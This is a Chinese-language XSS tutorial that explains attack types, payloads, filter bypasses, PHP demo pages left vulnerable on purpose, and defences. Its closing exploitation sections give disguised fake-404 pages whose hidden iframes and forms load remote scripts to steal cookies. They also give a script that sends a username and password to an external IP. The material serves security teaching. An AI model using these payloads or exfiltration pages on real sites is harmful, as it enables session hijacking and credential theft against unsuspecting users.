目錄 XSS的原理和分類 XSS的攻擊載荷 XSS可以插在哪里? XSS漏洞的挖掘 XSS的攻擊過程 XSS漏洞的危害 XSS漏洞的簡單攻擊測試 反射型XSS: 存儲型XSS: DOM型XSS: XSS的簡單過濾和繞過 XSS的防御 反射型XSS的利用姿勢 get型 post型 利用JS將用戶信息發(fā)送給后臺
XSS的原理和分類跨站腳本攻擊XSS(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁面時,嵌入Web里面的Script代碼會被執(zhí)行,從而達到惡意攻擊用戶的目的。XSS攻擊針對的是用戶層面的攻擊! XSS分為:存儲型 、反射型 、DOM型XSS 存儲型XSS:存儲型XSS,持久化,代碼是存儲在服務(wù)器中的,如在個人信息或發(fā)表文章等地方,插入代碼,如果沒有過濾或過濾不嚴(yán),那么這些代碼將儲存到服務(wù)器中,用戶訪問該頁面的時候觸發(fā)代碼執(zhí)行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie 反射型XSS:非持久化,需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒有這樣的頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。反射型XSS大多數(shù)是用來盜取用戶的Cookie信息。 DOM型XSS:不經(jīng)過后端,DOM-XSS漏洞是基于文檔對象模型(Document Objeet Model,DOM)的一種漏洞,DOM-XSS是通過url傳入?yún)?shù)去控制觸發(fā)的,其實也屬于反射型XSS。 DOM的詳解:DOM文檔對象模型 可能觸發(fā)DOM型XSS的屬性 document.referer
window.name
location
innerHTML
documen.write 如圖,我們在URL中傳入?yún)?shù)的值,然后客戶端頁面通過js腳本利用DOM的方法獲得URL中參數(shù)的值,再通過DOM方法賦值給選擇列表,該過程沒有經(jīng)過后端,完全是在前端完成的。所以,我們就可以在我們輸入的參數(shù)上做手腳了。 XSS的攻擊載荷以下所有標(biāo)簽的 > 都可以用 // 代替, 例如 <script>alert(1)</script// <script>標(biāo)簽:<script>標(biāo)簽是最直接的XSS有效載荷,腳本標(biāo)記可以引用外部的JavaScript代碼,也可以將代碼插入腳本標(biāo)記中 <script>alert('hack')</script> #彈出hack
<script>alert(/hack/)</script> #彈出hack
<script>alert(1)</script> #彈出1,對于數(shù)字可以不用引號
<script>alert(document.cookie)</script> #彈出cookie
<script src=http:///xss.js></script> #引用外部的xss svg標(biāo)簽 <svg onload='alert(1)'>
<svg onload='alert(1)'// <img>標(biāo)簽: <img src=1 οnerrοr=alert('hack')><img src=1 οnerrοr=alert(document.cookie)> #彈出cookie <body>標(biāo)簽: <body οnlοad=alert(1)><body οnpageshοw=alert(1)> video標(biāo)簽: <video οnlοadstart=alert(1) src='/media/hack-the-planet.mp4' /> style標(biāo)簽: <style οnlοad=alert(1)></style> XSS可以插在哪里? #用戶輸入作為HTML注釋內(nèi)容,導(dǎo)致攻擊者可以進行閉合繞過
<!-- 用戶輸入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用戶輸入作為標(biāo)簽屬性名,導(dǎo)致攻擊者可以進行閉合繞過
<div 用戶輸入='xx'> </div>
<div ></div><script>alert('hack')</script><div a='xx'> </div>
#用戶輸入作為標(biāo)簽屬性值,導(dǎo)致攻擊者可以進行閉合繞過
<div id='用戶輸入'></div>
<div id=''></div><script>alert('hack')</script><div a='x'></div>
#用戶輸入作為標(biāo)簽名,導(dǎo)致攻擊者可以進行閉合繞過
<用戶輸入 id='xx' />
<><script>alert('hack')</script><b id='xx' />
#用戶輸入作為CSS內(nèi)容,導(dǎo)致攻擊者可以進行閉合繞過
<style>用戶輸入<style>
<style> </style><script>alert('hack')</script><style> </style> XSS漏洞的挖掘 黑盒測試 盡可能找到一切用戶可控并且能夠輸出在頁面代碼中的地方,比如下面這些: 常見業(yè)務(wù)場景 重災(zāi)區(qū):評論區(qū)、留言區(qū)、個人信息、訂單信息等 針對型:站內(nèi)信、網(wǎng)頁即時通訊、私信、意見反饋 存在風(fēng)險:搜索框、當(dāng)前目錄、圖片屬性等
白盒測試(代碼審計) 關(guān)于XSS的代碼審計主要就是從接收參數(shù)的地方和一些關(guān)鍵詞入手。 PHP中常見的接收參數(shù)的方式有$_GET 、$_POST 、$_REQUEST 等等,可以搜索所有接收參數(shù)的地方。然后對接收到的數(shù)據(jù)進行跟蹤,看看有沒有輸出到頁面中,然后看輸出到頁面中的數(shù)據(jù)是否進行了過濾和html編碼等處理。 也可以搜索類似echo 這樣的輸出語句,跟蹤輸出的變量是從哪里來的,我們是否能控制,如果從數(shù)據(jù)庫中取的,是否能控制存到數(shù)據(jù)庫中的數(shù)據(jù),存到數(shù)據(jù)庫之前有沒有進行過濾等等。 大多數(shù)程序會對接收參數(shù)封裝在公共文件的函數(shù)中統(tǒng)一調(diào)用,我們就需要審計這些公共函數(shù)看有沒有過濾,能否繞過等等。 同理審計DOM型注入可以搜索一些js操作DOM元素的關(guān)鍵詞進行審計。 XSS的攻擊過程反射型XSS漏洞: Alice經(jīng)常瀏覽某個網(wǎng)站,此網(wǎng)站為Bob所擁有。Bob的站點需要Alice使用用戶名/密碼進行登錄,并存儲了Alice敏感信息(比如銀行帳戶信息)。 Tom 發(fā)現(xiàn) Bob的站點存在反射性的XSS漏洞 Tom 利用Bob網(wǎng)站的反射型XSS漏洞編寫了一個exp,做成鏈接的形式,并利用各種手段誘使Alice點擊 Alice在登錄到Bob的站點后,瀏覽了 Tom 提供的惡意鏈接 嵌入到惡意鏈接中的惡意腳本在Alice的瀏覽器中執(zhí)行。此腳本盜竊敏感信息(cookie、賬號信息等信息)。然后在Alice完全不知情的情況下將這些信息發(fā)送給 Tom。 Tom 利用獲取到的cookie就可以以Alice的身份登錄Bob的站點,如果腳本的功更強大的話,Tom 還可以對Alice的瀏覽器做控制并進一步利用漏洞控制
存儲型XSS漏洞: Bob擁有一個Web站點,該站點允許用戶發(fā)布信息/瀏覽已發(fā)布的信息。 Tom檢測到Bob的站點存在存儲型的XSS漏洞。 Tom在Bob的網(wǎng)站上發(fā)布一個帶有惡意腳本的熱點信息,該熱點信息存儲在了Bob的服務(wù)器的數(shù)據(jù)庫中,然后吸引其它用戶來閱讀該熱點信息。 Bob或者是任何的其他人如Alice瀏覽該信息之后,Tom的惡意腳本就會執(zhí)行。 Tom的惡意腳本執(zhí)行后,Tom就可以對瀏覽器該頁面的用戶發(fā)動一起XSS攻擊
XSS漏洞的危害從以上我們可以知道,存儲型的XSS危害最大。因為他存儲在服務(wù)器端,所以不需要我們和被攻擊者有任何接觸,只要被攻擊者訪問了該頁面就會遭受攻擊。而反射型和DOM型的XSS則需要我們?nèi)フT使用戶點擊我們構(gòu)造的惡意的URL,需要我們和用戶有直接或者間接的接觸,比如利用社會工程學(xué)或者利用在其他網(wǎng)頁掛馬的方式。 那么,利用XSS漏洞可以干什么呢? 如果我們的JS水平一般的話,我們可以利用網(wǎng)上免費的XSS平臺來構(gòu)造代碼實施攻擊。 XSS漏洞的簡單攻擊測試反射型XSS:先放出源代碼 //前端 1.html:<html><head lang='en'><meta charset='UTF-8'><title>反射型XSS</title></head><body><form action='action.php' method='post'><input type='text' name='name' /><input type='submit' value='提交'></form></body></html>//后端 action.php:<?php$name=$_POST['name'];
echo $name;
?> 這里有一個用戶提交的頁面,用戶可以在此提交數(shù)據(jù),數(shù)據(jù)提交之后給后臺處理 所以,我們可以在輸入框中提交數(shù)據(jù): <script>alert('hack')</script> ,看看會有什么反應(yīng) 頁面直接彈出了hack的頁面,可以看到,我們插入的語句已經(jīng)被頁面給執(zhí)行了。 這就是最基本的反射型的XSS漏洞,這種漏洞數(shù)據(jù)流向是: 前端-->后端-->前端 存儲型XSS:先給出源代碼 //前端:2.html<html><head lang='en'><meta charset='UTF-8'><title>存儲型XSS</title></head><body><form action='action2.php' method='post'>輸入你的ID: <input type='text' name='id' /> <br/>輸入你的Name:<input type='text' name='name' /> <br/><input type='submit' value='提交'></form></body></html>//后端:action2.php<?php
$id=$_POST['id'];
$name=$_POST['name']; mysql_connect('localhost','root','root'); mysql_select_db('test');
$sql='insert into xss value ($id,'$name')';
$result=mysql_query($sql);?>//供其他用戶訪問頁面:show2.php<?phpmysql_connect('localhost','root','root'); mysql_select_db('test');
$sql='select * from xss where id=1';
$result=mysql_query($sql);while($row=mysql_fetch_array($result)){echo $row['name'];
}
?> 這里有一個用戶提交的頁面,數(shù)據(jù)提交給后端之后,后端存儲在數(shù)據(jù)庫中。然后當(dāng)其他用戶訪問另一個頁面的時候,后端調(diào)出該數(shù)據(jù),顯示給另一個用戶,XSS代碼就被執(zhí)行了。 我們輸入 1 和 <script>alert(\'hack\')</script> ,注意,這里的hack的單引號要進行轉(zhuǎn)義,因為sql語句中的$name是單引號的,所以這里不轉(zhuǎn)義的話就會閉合sql語句中的單引號。不然注入不進去。提交了之后,我們看看數(shù)據(jù)庫 可以看到,我們的XSS語句已經(jīng)插入到數(shù)據(jù)庫中了 然后當(dāng)其他用戶訪問 show2.php 頁面時,我們插入的XSS代碼就執(zhí)行了。 存儲型XSS的數(shù)據(jù)流向是:前端-->后端-->數(shù)據(jù)庫-->后端-->前端 DOM型XSS:先放上源代碼 // 前端3.html<html><head lang='en'><meta charset='UTF-8'><title>DOM型XSS</title></head><body><form action='action3.php' method='post'><input type='text' name='name' /><input type='submit' value='提交'></form></body></html>// 后端action3.php<?php
$name=$_POST['name'];
?><input id='text' type='text' value='<?php echo $name; ?>'/><div id='print'></div><script type='text/javascript'>
var text=document.getElementById('text'); var print=document.getElementById('print');
print.innerHTML=text.value; // 獲取 text的值,并且輸出在print內(nèi)。這里是導(dǎo)致xss的主要原因。</script> 這里有一個用戶提交的頁面,用戶可以在此提交數(shù)據(jù),數(shù)據(jù)提交之后給后臺處理 我們可以輸入 <img src=1 οnerrοr=alert('hack')> ,然后看看頁面的變化 頁面直接彈出了 hack 的頁面,可以看到,我們插入的語句已經(jīng)被頁面給執(zhí)行了。 這就是DOM型XSS漏洞,這種漏洞數(shù)據(jù)流向是: 前端-->瀏覽器 XSS的簡單過濾和繞過前面講sql注入的時候,我們講過程序猿對于sql注入的一些過濾,利用一些函數(shù)(如:preg_replace()),將組成sql語句的一些字符給過濾,以防止注入。那么,程序猿也可以用一些函數(shù)將構(gòu)成xss代碼的一些關(guān)鍵字符給過濾了??墒?,道高一尺魔高一丈,雖然過濾了,但是還是可以進行過濾繞過,以達到XSS攻擊的目的。 一:區(qū)分大小寫過濾標(biāo)簽 先放上源代碼 //前端 1.html:<html><head lang='en'><meta charset='UTF-8'><title>反射型XSS</title></head><body><form action='action4.php' method='post'><input type='text' name='name' /><input type='submit' value='提交'></form></body></html>//后端 action4.php:<?php$name=$_POST['name'];
if($name!=null){
$name=preg_replace('/<script>/','',$name); //過濾<script>
$name=preg_replace('/<\/script>/','',$name); //過濾</script>
echo $name;
}
?> 繞過技巧:可以使用大小寫繞過 <scripT>alert('hack')</scripT> 二:不區(qū)分大小寫過濾標(biāo)簽 先放上源代碼 這個和上面的代碼一模一樣,只不過是過濾的時候多加了一個 i ,以不區(qū)分大小寫 $name=preg_replace('/<script>/i','',$name); //不區(qū)分大小寫過濾 <script>$name=preg_replace('/<\/script>/i','',$name); //不區(qū)分大小寫過濾 </script> 繞過技巧:可以使用嵌套的script標(biāo)簽繞過 <scr<script>ipt>alert('hack')</scr</script>ipt> 三:不區(qū)分大小寫,過濾之間的所有內(nèi)容 先放上源代碼 這個和上面的代碼一模一樣,只不過是過濾的時候過濾條件發(fā)生了變化 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //過濾了<script 及其之間的所有內(nèi)容 雖然無法使用<script>標(biāo)簽注入XSS代碼,但是可以通過img、body等標(biāo)簽的事件或者 iframe 等標(biāo)簽的 src 注入惡意的 js 代碼。 payload: <img src=1 οnerrοr=alert('hack')> 我們可以輸入 <img src=1 οnerrοr=alert('hack')> ,然后看看頁面的變化 XSS的防御
XSS防御的總體思路是:對用戶的輸入(和URL參數(shù))進行過濾,對輸出進行html編碼。也就是對用戶提交的所有內(nèi)容進行過濾,對url中的參數(shù)進行過濾,過濾掉會導(dǎo)致腳本執(zhí)行的相關(guān)內(nèi)容;然后對動態(tài)輸出到頁面的內(nèi)容進行html編碼,使腳本無法在瀏覽器中執(zhí)行。 對輸入的內(nèi)容進行過濾,可以分為黑名單過濾和白名單過濾。黑名單過濾雖然可以攔截大部分的XSS攻擊,但是還是存在被繞過的風(fēng)險。白名單過濾雖然可以基本杜絕XSS攻擊,但是真實環(huán)境中一般是不能進行如此嚴(yán)格的白名單過濾的。 對輸出進行html編碼,就是通過函數(shù),將用戶的輸入的數(shù)據(jù)進行html編碼,使其不能作為腳本運行。 如下,是使用php中的htmlspecialchars函數(shù)對用戶輸入的name參數(shù)進行html編碼,將其轉(zhuǎn)換為html實體 #使用htmlspecialchars函數(shù)對用戶輸入的name參數(shù)進行html編碼,將其轉(zhuǎn)換為html實體$name = htmlspecialchars( $_GET[ 'name' ] ); 如下,圖一是沒有進行html編碼的,圖2是進行了html編碼的。經(jīng)過html編碼后script標(biāo)簽被當(dāng)成了html實體。 我們還可以服務(wù)端設(shè)置會話Cookie的HTTP Only屬性,這樣,客戶端的JS腳本就不能獲取Cookie信息了 反射型XSS的利用姿勢我們現(xiàn)在發(fā)現(xiàn)一個網(wǎng)站存在反射型XSS,當(dāng)用戶登錄該網(wǎng)站時,我們通過誘使用戶點擊我們精心制作的惡意鏈接,來盜取用戶的Cookie并且發(fā)送給我們,然后我們再利用盜取的Cookie以用戶的身份登錄該用戶的網(wǎng)站。 get型當(dāng)我們輸入?yún)?shù)的請求類型的get類型的,即我們輸入的參數(shù)是以URL參數(shù)的形式。如下圖 該鏈接的為:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script> 那么,我們要怎么構(gòu)造惡意代碼來誘使用戶點擊并且用戶點擊后不會發(fā)現(xiàn)點擊了惡意鏈接呢? 我們構(gòu)造了如下代碼,將其保存為html頁面,然后放到我們自己的服務(wù)器上,做成一個鏈接。當(dāng)用戶登錄了存在漏洞的網(wǎng)站,并且用戶點擊了我們構(gòu)造的惡意鏈接時,該鏈接頁面會偷偷打開iframe框架,iframe會訪問其中的鏈接,然后執(zhí)行我們的js代碼。該js代碼會把存在漏洞網(wǎng)站的cookie發(fā)送到我們的平臺上,但是用戶卻渾然不知,他會發(fā)現(xiàn)打開的是一個404的頁面! <iframe src='http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https:///EtxZt8T></script>' style='display:none;'></iframe> <!DOCTYPE html><html><head><meta http-equiv='Content-Type' content='text/html; charset=UTF-8'><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><title>404 頁面不存在 </title><style type='text/css'>body{font:14px/1.5 'Microsoft YaHei','微軟雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}.error-page{background:#f0f1f3;padding:80px 0 180px}.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}</style></head><body><iframe src='http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https:///EtxZt8T></script>' style='display:none;'></iframe><div class='error-page'><div class='error-page-container'><div class='error-page-main'><h3><strong>404</strong>很抱歉,您要訪問的頁面不存在!</h3> </div></div></div></body></html> 而我們的XSS平臺將得到用戶的Cookie,然后我們就可以利用得到的Cookie以用戶的身份訪問該網(wǎng)站了。 注:我們的攻擊代碼可以利用的前提是存在XSS漏洞的網(wǎng)站的X-Frame-options未配置,并且會話Cookie沒有設(shè)置Http Only屬性 post型我們現(xiàn)在知道一個網(wǎng)站的用戶名輸入框存在反射型的XSS漏洞 我們抓包查看 我們構(gòu)造了如下代碼,將其保存為html頁面,然后放到我們自己的服務(wù)器上,做成一個鏈接。當(dāng)用戶登錄了存在漏洞的網(wǎng)站,并且用戶點擊了我們構(gòu)造的惡意鏈接時,該惡意鏈接的頁面加載完后會執(zhí)行js代碼,完成表單的提交,表單的用戶名參數(shù)是我們的惡意js代碼。提交完該表單后,該js代碼會把存在漏洞網(wǎng)站的cookie發(fā)送到我們的平臺上,但是用戶卻渾然不知,他會發(fā)現(xiàn)打開的是一個404的頁面。 我們這里寫了一個404頁面,404頁面中隱藏了一個form提交的表單,為了防止提交表單后跳轉(zhuǎn),我們在表單下加了一個iframe框架,并且iframe框架的name等于form表單的target,并且我們設(shè)置iframe框架為不可見。 <!DOCTYPE html><html><head><meta http-equiv='Content-Type' content='text/html; charset=UTF-8'><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><title>404 頁面不存在 </title><style type='text/css'>body{font:14px/1.5 'Microsoft YaHei','微軟雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}.error-page{background:#f0f1f3;padding:80px 0 180px}.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}</style> <script type='text/javascript'>function attack(){document.getElementById('transfer').submit();
}</script></head><body><iframe src='form.html' frameborder='0' style='display: none'></iframe><div class='error-page'><div class='error-page-container'><div class='error-page-main'><h3><strong>404</strong>很抱歉,您要訪問的頁面不存在!</h3></div></div><form method='POST' id='transfer' action='http://127.0.0.1/xss/action.php' target='frameName'> <input type='hidden' name='username' value='<script src=https:///EtxZt8T></script>'> <input type='hidden' name='password' value='1'></form><iframe src='' frameborder='0' name='frameName' style='display: none'></iframe></div></body></html> 當(dāng)用戶點擊了我們構(gòu)造的惡意鏈接,發(fā)現(xiàn)打開的是一個404頁面。實際上這個頁面偷偷的進行了表單的提交。 而我們的XSS平臺也收到了發(fā)送來的數(shù)據(jù)(這數(shù)據(jù)中沒有Cookie的原因是這個網(wǎng)站我沒設(shè)置Cookie,只是隨便寫的一個頁面)。 利用JS將用戶信息發(fā)送給后臺<!DOCTYPE html><html><head lang='en'><meta charset='UTF-8'><title></title><script src='https://cdn./jquery/1.10.2/jquery.min.js'></script><script>$(function(){//我們現(xiàn)在假如 user和pass是我們利用js獲得的用戶的用戶名和密碼user='admin';
pass='root';
url='http://120.79.74.249:8080/?user='+user+'&pass='+pass;var frame=$('<iframe>');
frame.attr('src',url);
frame.attr('style','display:none');
$('#body').append(frame); //添加一個iframe框架,并設(shè)置不顯示。這個框架會偷偷訪問該鏈接。});</script></head><body id='body'><h3>hello,word!</h3></body></html> 當(dāng)用戶訪問了該頁面,我們后臺就可以看到用戶訪問記錄。
|